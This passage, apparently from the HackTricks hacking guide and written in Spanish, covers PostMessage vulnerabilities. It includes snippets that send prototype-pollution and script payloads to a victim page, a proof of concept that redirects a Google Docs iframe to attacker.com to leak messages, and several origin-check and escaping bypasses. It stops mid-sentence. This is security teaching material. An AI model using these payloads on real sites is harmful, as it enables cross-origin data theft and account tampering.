.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
Vulnerabilidades de PostMessage
Vulnerabilidades de PostMessage
Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén el oficial PEASS & HackTricks swag
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Enviar PostMessage
PostMessage utiliza la siguiente función para enviar un mensaje:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Ten en cuenta que targetOrigin puede ser un '*' o una URL como https://company.com.
En el segundo escenario, el mensaje solo puede ser enviado a ese dominio (incluso si el origen del objeto ventana es diferente).
Si se utiliza el comodín, los mensajes podrían ser enviados a cualquier dominio, y se enviarán al origen del objeto Window.
Atacando iframe y comodín en targetOrigin
Como se explica en este informe si encuentras una página que puede ser iframed (sin protección de X-Frame-Header
) y que está enviando mensajes sensibles a través de postMessage utilizando un comodín (*), puedes modificar el origen del iframe y filtrar el mensaje sensible a un dominio controlado por ti.
Ten en cuenta que si la página puede ser iframed pero el targetOrigin está configurado con una URL y no con un comodín, este truco no funcionará.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
Explotación de addEventListener
addEventListener
es la función utilizada por JS para declarar la función que está esperando postMessages
.
Se utilizará un código similar al siguiente:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
Enumeración
Para encontrar escuchas de eventos en la página actual puedes:
- Buscar en el código JS por
window.addEventListener
y$(window).on
(versión JQuery) - Ejecutar en la consola de herramientas para desarrolladores:
getEventListeners(window)
- Ir a Elementos --> Escuchas de eventos en las herramientas para desarrolladores del navegador
- Utilizar una extensión para navegador como https://github.com/benso-io/posta o https://github.com/fransr/postMessage-tracker. Estas extensiones para navegadores interceptarán todos los mensajes y te los mostrarán.
Saltos de verificación de origen
-
El atributo
event.isTrusted
se considera seguro ya que devuelveTrue
solo para eventos generados por acciones genuinas del usuario. Aunque es desafiante de evadir si se implementa correctamente, su importancia en las verificaciones de seguridad es notable. -
El uso de
indexOf()
para la validación de origen en eventos de PostMessage puede ser susceptible a evasiones. Un ejemplo que ilustra esta vulnerabilidad es:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- El método
search()
deString.prototype.search()
está destinado para expresiones regulares, no para cadenas. Pasar cualquier cosa que no sea una expresión regular conduce a una conversión implícita a regex, lo que hace que el método sea potencialmente inseguro. Esto se debe a que en regex, un punto (.) actúa como un comodín, permitiendo evadir la validación con dominios especialmente diseñados. Por ejemplo:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
La función
match()
, similar asearch()
, procesa regex. Si el regex no está estructurado correctamente, podría ser propenso a evasiones. -
La función
escapeHtml
está destinada a sanear las entradas escapando caracteres. Sin embargo, no crea un nuevo objeto escapado sino que sobrescribe las propiedades del objeto existente. Este comportamiento puede ser explotado. En particular, si un objeto puede ser manipulado de manera que su propiedad controlada no reconozcahasOwnProperty
, elescapeHtml
no funcionará como se espera. Esto se demuestra en los ejemplos a continuación: -
Fallo esperado:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- Evasión del escape:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
En el contexto de esta vulnerabilidad, el objeto File
es notablemente explotable debido a su propiedad de solo lectura name
. Esta propiedad, cuando se usa en plantillas, no es saneada por la función escapeHtml
, lo que conlleva riesgos de seguridad potenciales.
- La propiedad
document.domain
en JavaScript puede ser establecida por un script para acortar el dominio, permitiendo una aplicación más relajada de la política de misma procedencia dentro del mismo dominio principal.
Bypass de e.origin == window.origin
Al incrustar una página web dentro de un iframe con sandbox utilizando %%%